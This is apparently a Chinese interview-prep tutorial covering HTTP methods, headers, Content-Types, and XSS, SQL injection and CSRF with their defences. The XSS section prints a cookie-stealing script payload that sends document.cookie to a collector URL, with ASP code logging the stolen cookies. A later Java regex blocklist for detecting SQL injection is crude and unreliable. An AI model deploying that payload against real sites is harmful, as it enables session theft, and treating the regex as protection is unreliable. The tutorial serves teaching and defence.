Para 0
该部分主要讲诉了网络安全,HTTP头部,请求类型等模块的基本概念和高频考点。
Para 1 请求类型
HTTP请求类型有很多,比如get,post等,下面是一些常见请求的名称和对应的含义。
get:请求指定的页面信息,并返回实体主体
post:向指定资源提交数据并进行处理请求。数据被包含在请求体中,post请求可能会导致新的资源的建立或已有资源的修改
head:类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
options:允许客户端查看服务器的性能
put:从客户端向服务器传送的数据取代指定的文档的内容
delete:请求服务器删除指定的页面
trace:回显服务器收到的请求,主要用于测试或诊断
connect:http/1.1协议中预留给能够将连接改为管道方式的代理服务器
这里我们就主要分析常见的2种请求:GET,POST。
这两个请求也是面试的高频问点,此概念是需要我们去掌握的。
GET | POST | |
---|---|---|
后退按钮/刷新 | 无害 | 数据会被重新提交(浏览器应该告知用户数据会被重新提交)。 |
缓存 | 能被缓存 | 不能缓存 |
编码类型 | application/x-www-form-urlencoded | application/x-www-form-urlencoded 或 multipart/form-data。为二进制数据使用多重编码。 |
对数据长度的限制 | 是的。当发送数据时,GET 方法向 URL 添加数据;URL 的长度是受限制的(URL 的最大长度是 2048 个字符)。 | 无限制。 |
对数据类型的限制 | 只允许 ASCII 字符。 | 没有限制。也允许二进制数据。 |
安全性 | 与 POST 相比,GET 的安全性较差,因为所发送的数据是 URL 的一部分。在发送密码或其他敏感信息时绝不要使用 GET ! | POST 比 GET 更安全,因为参数不会被保存在浏览器历史或 web 服务器日志中。 |
可见性 | 数据在 URL 中对所有人都是可见的。 | 数据不会显示在 URL 中。 |
有关 GET 请求的其他一些注释:
- GET 请求可被缓存
- GET 请求保留在浏览器历史记录中
- GET 请求不应在处理敏感数据时使用
- GET 请求有长度限制
- GET 请求只应当用于取回数据
有关 POST 请求的其他一些注释:
- POST 请求不会被缓存
- POST 请求不会保留在浏览器历史记录中
- POST 不能被收藏为书签
- POST 请求对数据长度没有要求
tips:
各个浏览器在地址栏支持URL的长度
Safari 最大长度限制为80000字节
Opera 最大长度限制为190000字节
Chrome 最大长度限制为8182字节
IE 最大长度限制为2048字节
Firefox 最大长度限制为65536字节
Para 2 HTTP头部
Para 2.1 Request header
:authority: silkroad.csdn.net
:method: GET
:path: 请求地址
:scheme: https
accept: application/json, text/javascript, */*; q=0.01
accept-encoding: gzip, deflate, br
accept-language: zh-CN,zh;q=0.9
cache-control: no-cache
content-type: application/json
origin: https://blog.csdn.net
pragma: no-cache
referer: *****
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
accept:接收的数据类型。
accept-encoding:接收的数据格式。
accept-language:接收的语言。
content-type:当前请求的格式。
user-agent:User Agent中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。
cache-control:缓存控制。
origin:请求首部字段 Origin
指示了请求来自于哪个站点。该字段仅指示服务器名称,并不包含任何路径信息。
referer:Referer
请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。
Referer请求头可能暴露用户的浏览历史,涉及到用户的隐私问题。
Para 2.2 Response header
Cache-Control: private
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html;charset=utf-8
Date: Sun, 21 Mar 2021 11:04:04 GMT
Expires: Sun, 21 Mar 2021 11:04:04 GMT
Server: BWS/1.1
Set-Cookie: BDSVRTM=92; path=/
Set-Cookie: ****
Traceid: ****
Transfer-Encoding: chunked
X-Ua-Compatible: IE=Edge,chrome=1
Connection:保持请求连接。
Content-Encoding:编码压缩格式。
Content-Type:请求上下文类型。
Server:服务器类型。
还有其他头部可以在文章 《HTTP头部详解》中找到。
Para 2.3 高频考点
user-agent,Content-Type,Connection,cache-control,Content-Encoding这几个需要重点掌握,同时我们需要知道不同的请求也许对应了不同的Content-Type。
常见ContentType如下所示。
text/html :HTML格式
text/plain :纯文本格式
text/xml :XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png :png图片格式
application/xml: XML数据格式
application/json: JSON数据格式
application/pdf: pdf格式
application/msword: Word文档格式
application/octet-stream : 二进制流数据(如文件下载)
application/x-www-form-urlencoded form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)。
multipart/form-data : 表单上传文件。
Para 3 网络安全
Para 3.1 XSS
Para 3.1.1 定义
跨站脚本(Cross-Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能层到很高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS攻击可以分为三种:反射型、存储型和DOM型。
Para 3.1.2 例子
反射型:非持久性,此类工具具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
存储型:存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
例如:恶意攻击者在留言板中加入以下代码。
<script>alert('hacker by hacker')</script>
这个xss只是弹出了一个alert设想一下,假如对方的xss是获取访问当前人的登陆Cookie并发送到指定邮箱呢?下面是利用xss攻击窃取Cookie的代码。
<script>document.location=’[http://127.0.0.1/1.asp?msg=](http://127.0.0.1/1.asp?msg=)’+document.cookie</script>
<%
Thisfile=Server.MapPath(“cookie.txt”)
Msg=Request(“msg”)
Setfs=server.CreateObject(“scripting.filesystemobject”)
Setthisfile=fs.OpenTextFile(thsfile,8True,0)
thisfile.WriteLine(“======cookie:”&msg&”=====byXSS”)
Thisfile.close
Setfs=nothing
%>
DOM型:DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
例如:我们在动态渲染dom的时候使用了innerHTML。
Para 3.1.3 解决或避免方案
1.对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取cookie。服务端可以设置此字段。
2.编码:不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。对于字符实体的概念可以参考文章底部给出的参考链接。
3.解码:原样显示内容的时候必须解码,不然显示不到内容了。
4.过滤:把输入的一些不合法的东西都过滤掉,从而保证安全性。如移除用户上传的DOM属性,如onerror,移除用户上传的Style节点,iframe, script节点等。
5.处理用户输入的数据。
6.存在一个parse函数,对输入的数据进行处理,返回处理之后的数据
7.对输入的数据(如DOM节点)进行解码。
8.dom渲染对特殊符号进行转译。
9.避免使用innerHTML。
Para 3.2 SQL注入
Para 3.2.1 原理
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
SQL注入漏洞的产生需要满足以下两个条件。
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
Para 3.2.2 解决或避免方案
关于SQL注入的修复建议:
- 过滤危险字符,在后端对于危险字符进行正则匹配。
- 使用预编译语句,不要直接拼接到对应的sql语句中去。
Para 3.3 CSRF攻击
Para 3.3.1 原理
CSRF(Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比XSS更具危险性。
CSRF工具有2个重点:
- 目标已经登陆了网站,并且能够执行网站的功能。
- 目标用户访问了攻击者构造的URL。
Para 3.3.2 解决或避免方案
- 验证请求的Referer值,如果Referer是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果Referer是其他网站域名或空白,就有可能是CSRF攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。
- CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端验证token,如果请求中没有token或者token的内容不正确,则认为该请求可能是CSRF攻击从而拒绝该请求。
下面是一个java的避免SQL注入的demo
public static boolean containsSqlInjection(String sql){
Pattern pattern= Pattern.compile("\\b(and|exec|insert|select|drop|grant|alter|delete|update|count|chr|mid|master|truncate|char|declare|or)\\b|(\\*|;|\\+|'|%)");
Matcher matcher=pattern.matcher(sql.toString().toLowerCase());
return matcher.find();
}
Para 3.4 其他安全问题
其实涉及到的网络安全还有很多,毕竟有黑就有白,所以作为一个开发我们必须具备一定的信息安全素养,避免因为不安全的编码给自己和公司造成损失。